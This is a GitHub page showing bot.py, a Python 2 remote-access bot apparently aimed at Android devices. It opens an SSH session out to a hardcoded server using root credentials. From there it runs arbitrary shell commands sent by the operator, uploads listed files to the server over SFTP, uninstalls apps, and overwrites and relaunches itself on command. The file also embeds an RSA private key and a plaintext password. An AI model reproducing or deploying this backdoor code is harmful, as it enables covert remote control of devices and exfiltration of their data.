-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathbot.py
More file actions
executable file
·201 lines (184 loc) · 7.82 KB
/
bot.py
File metadata and controls
executable file
·201 lines (184 loc) · 7.82 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
from paramiko import Transport
from paramiko import SFTPClient
from paramiko import SSHClient
from paramiko import AutoAddPolicy
from threading import Thread
from subprocess import Popen
from subprocess import PIPE
from paramiko import RSAKey
import ChannelSSH
import os.path
import logging
logging.basicConfig()
duper_lp= "./path.cnf"
ip_server='192.168.1.14'
private_key='''
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0vCK2TEiDu4xTWaQE26ZF2bQeJqIB7lAw6bN7CwzInJBFO0v
gYdEPaa9WwjkV2xvo/yjqiEW1ZO5awBQOvD26uuJ77i4BFNPH9x6G8LC3cfDZchz
eic+krDQ35QrliokEG3r53qVteZ3U0ycI2kFi4L1Qi6v+C6uL7vI/KKFpxl5pLr+
rJYuSX0qzPRpA86eDECcoWUNRNSP2z5rHJ+G/vtMlZbodTyhXf0p45SAMID6LCHB
paHSZzqs1H/6j/8QOWLRFog52eTqvkcOhFQ9+oOfsaoWjWO6/5/Yt0Cp9inK7MN4
Ha85bSacyh+Y0BsBXEp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BAEwHJuMg/Kw+Vsg2PeMtecQc9Qp06
dsMbQTkCgYBvI8Cj8jYUf0TJTMULv3LOTW4mzFPdI5W2GRdMz7OW1p3ENjalWKYj
kTuN4zDdwOmPseicCnE839aJrihZsJ4EVw4rZwa+LZZnIjSU+gUtDSrv0FI+t4aV
L5ltJkdeI5PbXeaCXum1UJIL5lPNB05nwGHxgJc6gnpSzxQYDt1l8Q==
-----END RSA PRIVATE KEY-----
'''
class Bot():
def __init__(self):
self.path_source = None
self.path_destination = None
self.chan = None
self.tags = None
key = open('priv_key', 'w+')
key.write(private_key)
key.close()
def delete_apk(self,com_object):
try:
result = self.getOutputCmd("pm uninstall {}".format(com_object))
return 0
except:
return 1
def parse_apk_list(self):
output = self.getOutputCmd("pm list packages -f -3").split('\n')
return output
def search_app(self,app_list, app_name):
found = 0
result = []
for element in app_list:
apk = element[8:].split('=')[0]
com_object = element[8:].split('=')[1]
if (app_name in apk) or (app_name in com_object):
found = 1
if self.delete_apk(com_object) == 0:
result.append(apk)
if not found:
ChannelSSH.sendToChannel("[-]App {} not found".format(app_name), self.chan)
return result
def rreplace(s, old, new, occurrence):
li = s.rsplit(old, occurrence)
return new.join(li)
def update(self):
file = ChannelSSH.receiveFromChannel(self.chan)
self.getOutputCmd('rm bot.py')
self.chan.close()
open('bot.py', 'w+').write(file)
self.getOutputCmd('chmod 777 bot.py')
self.getOutputCmd('sleep 3 && python bot.py')
def getOutputCmd(self,cmd):
# do shell command
try:
proc = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE, stdin=PIPE)
# read output
stdout_value = proc.stdout.read() + proc.stderr.read()
return stdout_value
except:
pass
def sftp_authentication(self):
try:
transport = Transport((ip_server, 222))
privatekeyfile = os.path.expanduser('./priv_key')
mykey = RSAKey.from_private_key_file(privatekeyfile)
transport.connect(username='bot', pkey=mykey)
sftp_client = SFTPClient.from_transport(transport)
return sftp_client, transport
except Exception, e:
print "SFTP Authentication Fail:"+str(e)
def dump_db(self):
try:
msgerror=""
sftp_client, transport = self.sftp_authentication()
with open(duper_lp) as f:
content = f.readlines()
# to remove whitespace characters like `\n` at the end of each line
for line in content:
line=line.strip()
if os.path.isfile(line):
sftp_client.put(line,self.path_destination+self.tags+'_'+os.path.basename(line))
else:
msgerror+="-- le fichier "+str(line)+" n'existe pas !! \n"
sftp_client.close()
transport.close()
ChannelSSH.sendToChannel(msgerror+"\n[*] End of dumping files \n", self.chan)
except Exception, e:
print "Fct:Dumper file export: " + str(e)
def get_dumper_file(self):
try:
sftp_client, transport = self.sftp_authentication()
# should verify if file duper_lp exist, create it else
if not os.path.isfile(duper_lp):
open(duper_lp, "w+").close()
sftp_client.get(self.path_source, duper_lp, callback=None)
sftp_client.close()
transport.close()
return "OK"
except Exception, e:
print "Fct:Dumper file import: "+str(e)
return str(e)
def connect(self):
subRoot = None
client = SSHClient()
client.set_missing_host_key_policy(AutoAddPolicy())
client.connect(ip_server,port=2222, username='root', password='thetoorpassword')
self.chan = client.get_transport().open_session()
while True:
command = ChannelSSH.receiveFromChannel(self.chan)
if 'deconnect' == command:
ChannelSSH.closeChannel(self.chan)
break
elif 'dump' == command:
Thread(target=self.dump_db).start()
elif '**LOADPATH**' in command:
inita, path_d,tags,path_s = command.split(';')
self.path_source = path_s
self.path_destination = path_d
self.tags = tags
self.get_dumper_file()
elif 'update_dumper' == command:
result=self.get_dumper_file()
ChannelSSH.sendToChannel(result, self.chan)
elif 'delete' in command:
try:
cmd, deleteapp = command.split(' ')
output = self.parse_apk_list()
result = self.search_app(output, deleteapp)
if len(result) >= 1:
ChannelSSH.sendToChannel("[+] App successfully deleted", self.chan)
except:
ChannelSSH.sendToChannel('[-] Command syntax error', self.chan)
elif 'update' in command:
if not 'bot.py' in self.getOutputCmd('ls'):
ChannelSSH.sendToChannel('Your are not in the directory containing the code', self.chan)
else:
ChannelSSH.sendToChannel('OK!', self.chan)
self.update()
break
elif 'cd' in command:
try:
code, directory = command.split(' ')
os.chdir(directory)
ChannelSSH.sendToChannel("[+] CWD Is " + os.getcwd(), self.chan)
except:
ChannelSSH.sendToChannel("[-] Error, Double check the Dir", self.chan)
else:
ChannelSSH.sendToChannel(self.getOutputCmd(command),self.chan)
if __name__ == '__main__':
bot = Bot()
bot.connect()